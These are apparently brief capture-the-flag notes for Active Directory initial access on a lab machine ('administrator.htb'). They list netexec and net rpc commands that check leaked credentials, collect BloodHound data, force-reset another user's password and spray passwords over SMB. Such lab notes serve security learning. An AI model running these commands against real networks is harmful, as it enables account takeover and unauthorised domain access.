Initial Access
Check given credentials (assumed breach)
nxc smb 10.129.73.39 -u olivia -p ichliebedich
Bloodhound ingestor with netexec
nxc ldap dc.administrator.htb -u olivia -p ichliebedich --bloodhound --collection All --dns-server 10.129.73.39
Force change password with net rpc
net rpc password "michael" "P@ssw0rd1!" -U "administrator.htb"/"olivia"%"ichliebedich" -S 10.129.73.39
Password spraying with netexec
nxc smb 10.129.73.39 -u users -p passwords --no-bruteforce --continue-on-success